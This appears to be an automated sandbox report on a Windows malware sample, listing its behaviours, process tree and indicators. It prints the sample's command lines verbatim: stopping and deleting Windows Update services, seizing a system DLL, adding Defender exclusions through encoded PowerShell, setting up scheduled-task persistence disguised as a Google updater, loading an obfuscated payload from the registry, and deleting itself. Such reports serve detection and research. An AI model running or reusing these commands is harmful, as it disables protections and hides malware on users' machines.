Analysis
-
max time kernel
12s -
max time network
75s -
platform
windows10-2004_x64 -
resource
win10v2004-20220901-en -
resource tags
arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system -
submitted
10-11-2022 19:26
Static task
static1
General
-
Target
b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe
-
Size
2.7MB
-
MD5
5026ed09cc5a093093461066d16a8f30
-
SHA1
34d60b874d9d3f8841c721692ea1daf31f330653
-
SHA256
b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3
-
SHA512
2429b9d55af9abe991a182b5fe49548d31986046c3bbacaa4021dd7544752f9b2e0b5c494c989b58daafaaf604e863abe3bd013125068331538618140d67a1f1
-
SSDEEP
49152:HgJH+Kol630+0DW0TOWxKyuPcMPgBAnDEQ1o/40fyNHpElUZ7lPP:AJgl630pBTXVGhPYzQ1o//wElulH
Malware Config
Signatures
-
Modifies security service 2 TTPs 5 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe -
Drops file in Drivers directory 1 IoCs
Processes:
b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exedescription ioc process File opened for modification C:\Windows\system32\drivers\etc\hosts b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe -
Possible privilege escalation attempt 2 IoCs
Processes:
takeown.exeicacls.exepid process 3772 takeown.exe 1152 icacls.exe -
Stops running service(s) 3 TTPs
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe -
Modifies file permissions 1 TTPs 2 IoCs
Processes:
takeown.exeicacls.exepid process 3772 takeown.exe 1152 icacls.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 10 ip-api.com -
Suspicious use of SetThreadContext 1 IoCs
Processes:
b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exedescription pid process target process PID 4752 set thread context of 4712 4752 b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe conhost.exe -
Drops file in Windows directory 4 IoCs
Processes:
conhost.exedescription ioc process File created C:\Windows\Tasks\dialersvc32.job conhost.exe File opened for modification C:\Windows\Tasks\dialersvc32.job conhost.exe File created C:\Windows\Tasks\dialersvc64.job conhost.exe File opened for modification C:\Windows\Tasks\dialersvc64.job conhost.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exepid process 3464 sc.exe 4616 sc.exe 4984 sc.exe 1564 sc.exe 1308 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Modifies registry key 1 TTPs 9 IoCs
Processes:
reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exepid process 1088 reg.exe 4324 reg.exe 1228 reg.exe 4808 reg.exe 4332 reg.exe 2872 reg.exe 4140 reg.exe 4368 reg.exe 4008 reg.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exeb495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exepid process 2044 powershell.exe 2044 powershell.exe 4752 b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
Processes:
powershell.exeb495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exetakeown.exedescription pid process Token: SeDebugPrivilege 2044 powershell.exe Token: SeDebugPrivilege 4752 b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe Token: SeShutdownPrivilege 4552 powercfg.exe Token: SeCreatePagefilePrivilege 4552 powercfg.exe Token: SeShutdownPrivilege 3296 powercfg.exe Token: SeCreatePagefilePrivilege 3296 powercfg.exe Token: SeShutdownPrivilege 3228 powercfg.exe Token: SeCreatePagefilePrivilege 3228 powercfg.exe Token: SeShutdownPrivilege 744 powercfg.exe Token: SeCreatePagefilePrivilege 744 powercfg.exe Token: SeTakeOwnershipPrivilege 3772 takeown.exe -
Suspicious use of WriteProcessMemory 49 IoCs
Processes:
b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.execmd.execmd.exedescription pid process target process PID 4752 wrote to memory of 2044 4752 b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe powershell.exe PID 4752 wrote to memory of 2044 4752 b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe powershell.exe PID 4752 wrote to memory of 672 4752 b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe cmd.exe PID 4752 wrote to memory of 672 4752 b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe cmd.exe PID 4752 wrote to memory of 400 4752 b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe cmd.exe PID 4752 wrote to memory of 400 4752 b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe cmd.exe PID 672 wrote to memory of 3464 672 cmd.exe sc.exe PID 672 wrote to memory of 3464 672 cmd.exe sc.exe PID 400 wrote to memory of 4552 400 cmd.exe powercfg.exe PID 400 wrote to memory of 4552 400 cmd.exe powercfg.exe PID 672 wrote to memory of 4616 672 cmd.exe sc.exe PID 672 wrote to memory of 4616 672 cmd.exe sc.exe PID 400 wrote to memory of 3296 400 cmd.exe powercfg.exe PID 400 wrote to memory of 3296 400 cmd.exe powercfg.exe PID 672 wrote to memory of 4984 672 cmd.exe sc.exe PID 672 wrote to memory of 4984 672 cmd.exe sc.exe PID 400 wrote to memory of 3228 400 cmd.exe powercfg.exe PID 400 wrote to memory of 3228 400 cmd.exe powercfg.exe PID 672 wrote to memory of 1564 672 cmd.exe sc.exe PID 672 wrote to memory of 1564 672 cmd.exe sc.exe PID 400 wrote to memory of 744 400 cmd.exe powercfg.exe PID 400 wrote to memory of 744 400 cmd.exe powercfg.exe PID 672 wrote to memory of 1308 672 cmd.exe sc.exe PID 672 wrote to memory of 1308 672 cmd.exe sc.exe PID 672 wrote to memory of 2872 672 cmd.exe reg.exe PID 672 wrote to memory of 2872 672 cmd.exe reg.exe PID 672 wrote to memory of 1088 672 cmd.exe reg.exe PID 672 wrote to memory of 1088 672 cmd.exe reg.exe PID 672 wrote to memory of 4324 672 cmd.exe reg.exe PID 672 wrote to memory of 4324 672 cmd.exe reg.exe PID 4752 wrote to memory of 4712 4752 b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe conhost.exe PID 4752 wrote to memory of 4712 4752 b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe conhost.exe PID 4752 wrote to memory of 4712 4752 b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe conhost.exe PID 4752 wrote to memory of 4712 4752 b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe conhost.exe PID 4752 wrote to memory of 4712 4752 b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe conhost.exe PID 4752 wrote to memory of 4712 4752 b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe conhost.exe PID 4752 wrote to memory of 4712 4752 b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe conhost.exe PID 4752 wrote to memory of 4712 4752 b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe conhost.exe PID 4752 wrote to memory of 4712 4752 b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe conhost.exe PID 4752 wrote to memory of 4712 4752 b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe conhost.exe PID 4752 wrote to memory of 4712 4752 b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe conhost.exe PID 672 wrote to memory of 1228 672 cmd.exe reg.exe PID 672 wrote to memory of 1228 672 cmd.exe reg.exe PID 672 wrote to memory of 4808 672 cmd.exe reg.exe PID 672 wrote to memory of 4808 672 cmd.exe reg.exe PID 672 wrote to memory of 3772 672 cmd.exe takeown.exe PID 672 wrote to memory of 3772 672 cmd.exe takeown.exe PID 672 wrote to memory of 1152 672 cmd.exe icacls.exe PID 672 wrote to memory of 1152 672 cmd.exe icacls.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe"C:\Users\Admin\AppData\Local\Temp\b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe"1⤵
- Drops file in Drivers directory
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHgAZgBxACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAdwBhAG0AIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegB5AGQAaQAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwBpAHUAbAAjAD4A"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop bits3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f3⤵
- Modifies security service
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f3⤵
- Modifies registry key
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\WaaSMedicSvc.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f3⤵
- Modifies registry key
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe2⤵
- Drops file in Windows directory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHUAYwB4AG4AIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAcABvAHcAZQByAHMAaABlAGwAbAAnACAALQBBAHIAZwB1AG0AZQBuAHQAIAAnAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAIgBQAEEAQQBqAEEASABBAEEAZAB3AEEAagBBAEQANABBAEkAQQBCAFQAQQBIAFEAQQBZAFEAQgB5AEEASABRAEEATABRAEIAUQBBAEgASQBBAGIAdwBCAGoAQQBHAFUAQQBjAHcAQgB6AEEAQwBBAEEATABRAEIARwBBAEcAawBBAGIAQQBCAGwAQQBGAEEAQQBZAFEAQgAwAEEARwBnAEEASQBBAEEAbgBBAEUATQBBAE8AZwBCAGMAQQBGAEEAQQBjAGcAQgB2AEEARwBjAEEAYwBnAEIAaABBAEcAMABBAEkAQQBCAEcAQQBHAGsAQQBiAEEAQgBsAEEASABNAEEAWABBAEIASABBAEcAOABBAGIAdwBCAG4AQQBHAHcAQQBaAFEAQgBjAEEARQBNAEEAYQBBAEIAeQBBAEcAOABBAGIAUQBCAGwAQQBGAHcAQQBkAFEAQgB3AEEARwBRAEEAWQBRAEIAMABBAEcAVQBBAGMAZwBBAHUAQQBHAFUAQQBlAEEAQgBsAEEAQwBjAEEASQBBAEEAdABBAEYAWQBBAFoAUQBCAHkAQQBHAEkAQQBJAEEAQgBTAEEASABVAEEAYgBnAEIAQgBBAEgATQBBAEkAQQBBADgAQQBDAE0AQQBhAFEAQgAwAEEAQwBNAEEAUABnAEEAPQAiACcAKQAgADwAIwB6AHIAbABtACMAPgAgAC0AVAByAGkAZwBnAGUAcgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAEEAdABTAHQAYQByAHQAdQBwACkAIAA8ACMAdwBzACMAPgAgAC0AUwBlAHQAdABpAG4AZwBzACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAaQBzAGEAbABsAG8AdwBIAGEAcgBkAFQAZQByAG0AaQBuAGEAdABlACAALQBEAG8AbgB0AFMAdABvAHAASQBmAEcAbwBpAG4AZwBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAbwBuAHQAUwB0AG8AcABPAG4ASQBkAGwAZQBFAG4AZAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAoAE4AZQB3AC0AVABpAG0AZQBTAHAAYQBuACAALQBEAGEAeQBzACAAMQAwADAAMAApACkAIAA8ACMAZQB1AHEAIwA+ACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEcAbwBvAGcAbABlAFUAcABkAGEAdABlAFQAYQBzAGsATQBhAGMAaABpAG4AZQBRAEMAJwAgAC0AVQBzAGUAcgAgACcAUwB5AHMAdABlAG0AJwAgAC0AUgB1AG4ATABlAHYAZQBsACAAJwBIAGkAZwBoAGUAcwB0ACcAIAAtAEYAbwByAGMAZQAgADwAIwBpAGEAIwA+ADsAIABDAG8AcAB5AC0ASQB0AGUAbQAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABiADQAOQA1AGQANgA4AGIAMAA3ADMAMwBkADAANwAxAGUANgA3AGUAMABjADMAMAA2ADYANQAzADgAMgBkAGUAYwBkADcAMQA4ADgANQBhAGYAOQBiAGEAZAAxAGMANgA1ADEAMABlAGYAMQA2ADgAZQA1ADcAMwAyAGMAZAAzAC4AZQB4AGUAJwAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAA8ACMAbwB1ACMAPgA7ACAAUwB0AGEAcgB0AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgADwAIwBhAHYAYQAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnADsA"2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3.exe"2⤵
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"1⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"1⤵
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{5bf190bf-9526-4c5c-b850-0640a3efbace}1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -EncodedCommand "PAAjAHAAdwAjAD4AIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAXABHAG8AbwBnAGwAZQBcAEMAaAByAG8AbQBlAFwAdQBwAGQAYQB0AGUAcgAuAGUAeABlACcAIAAtAFYAZQByAGIAIABSAHUAbgBBAHMAIAA8ACMAaQB0ACMAPgA="1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD5cb3a799921d48256ab45414af88b0aa8
SHA18888fb5656f5f11576c0fbc3ba45d7df56000d28
SHA2565ad60a0e324106c6b5a8a7c41b4eac83234ed53cf26025dd4d63c0750b265105
SHA51221b53b49d0f95cb600444b15a274c31d9374ae96dc2ab464e6ada96bae11f1000e92f6f51f62e5b91891dbbb30e6ab9c71006a9a166b8d4ae24457dcd7efdf69
-
memory/400-139-0x0000000000000000-mapping.dmp
-
memory/608-200-0x00007FFE73230000-0x00007FFE73240000-memory.dmpFilesize
64KB
-
memory/672-138-0x0000000000000000-mapping.dmp
-
memory/744-148-0x0000000000000000-mapping.dmp
-
memory/852-194-0x0000000000000000-mapping.dmp
-
memory/1088-151-0x0000000000000000-mapping.dmp
-
memory/1152-162-0x0000000000000000-mapping.dmp
-
memory/1228-158-0x0000000000000000-mapping.dmp
-
memory/1308-149-0x0000000000000000-mapping.dmp
-
memory/1564-147-0x0000000000000000-mapping.dmp
-
memory/2032-195-0x00007FFE943A0000-0x00007FFE94E61000-memory.dmpFilesize
10.8MB
-
memory/2032-163-0x0000000000000000-mapping.dmp
-
memory/2032-172-0x00007FFE943A0000-0x00007FFE94E61000-memory.dmpFilesize
10.8MB
-
memory/2044-137-0x00007FFE943A0000-0x00007FFE94E61000-memory.dmpFilesize
10.8MB
-
memory/2044-136-0x00007FFE943A0000-0x00007FFE94E61000-memory.dmpFilesize
10.8MB
-
memory/2044-135-0x000001CBF7360000-0x000001CBF7382000-memory.dmpFilesize
136KB
-
memory/2044-134-0x0000000000000000-mapping.dmp
-
memory/2340-187-0x00007FFE943A0000-0x00007FFE94E61000-memory.dmpFilesize
10.8MB
-
memory/2340-189-0x00007FFEB31B0000-0x00007FFEB33A5000-memory.dmpFilesize
2.0MB
-
memory/2340-178-0x00007FFEB1340000-0x00007FFEB13FE000-memory.dmpFilesize
760KB
-
memory/2340-177-0x00007FFEB31B0000-0x00007FFEB33A5000-memory.dmpFilesize
2.0MB
-
memory/2340-188-0x00007FFEB1340000-0x00007FFEB13FE000-memory.dmpFilesize
760KB
-
memory/2340-170-0x00007FFE943A0000-0x00007FFE94E61000-memory.dmpFilesize
10.8MB
-
memory/2872-150-0x0000000000000000-mapping.dmp
-
memory/3228-146-0x0000000000000000-mapping.dmp
-
memory/3296-144-0x0000000000000000-mapping.dmp
-
memory/3464-141-0x0000000000000000-mapping.dmp
-
memory/3588-192-0x0000000000000000-mapping.dmp
-
memory/3612-183-0x0000000140000000-0x0000000140042000-memory.dmpFilesize
264KB
-
memory/3612-185-0x00007FFEB1340000-0x00007FFEB13FE000-memory.dmpFilesize
760KB
-
memory/3612-184-0x00007FFEB31B0000-0x00007FFEB33A5000-memory.dmpFilesize
2.0MB
-
memory/3612-182-0x0000000140000000-0x0000000140042000-memory.dmpFilesize
264KB
-
memory/3612-190-0x0000000140000000-0x0000000140042000-memory.dmpFilesize
264KB
-
memory/3612-181-0x00000001400033F4-mapping.dmp
-
memory/3612-179-0x0000000140000000-0x0000000140042000-memory.dmpFilesize
264KB
-
memory/3612-191-0x00007FFEB31B0000-0x00007FFEB33A5000-memory.dmpFilesize
2.0MB
-
memory/3772-160-0x0000000000000000-mapping.dmp
-
memory/3920-199-0x0000000000000000-mapping.dmp
-
memory/4008-176-0x0000000000000000-mapping.dmp
-
memory/4140-168-0x0000000000000000-mapping.dmp
-
memory/4156-197-0x0000000000000000-mapping.dmp
-
memory/4324-152-0x0000000000000000-mapping.dmp
-
memory/4332-166-0x0000000000000000-mapping.dmp
-
memory/4368-171-0x0000000000000000-mapping.dmp
-
memory/4552-142-0x0000000000000000-mapping.dmp
-
memory/4584-174-0x0000000004A40000-0x0000000004AA6000-memory.dmpFilesize
408KB
-
memory/4584-175-0x0000000004B60000-0x0000000004BC6000-memory.dmpFilesize
408KB
-
memory/4584-173-0x00000000042E0000-0x0000000004302000-memory.dmpFilesize
136KB
-
memory/4584-169-0x0000000004360000-0x0000000004988000-memory.dmpFilesize
6.2MB
-
memory/4584-186-0x00000000051C0000-0x00000000051DE000-memory.dmpFilesize
120KB
-
memory/4584-167-0x00000000018A0000-0x00000000018D6000-memory.dmpFilesize
216KB
-
memory/4616-143-0x0000000000000000-mapping.dmp
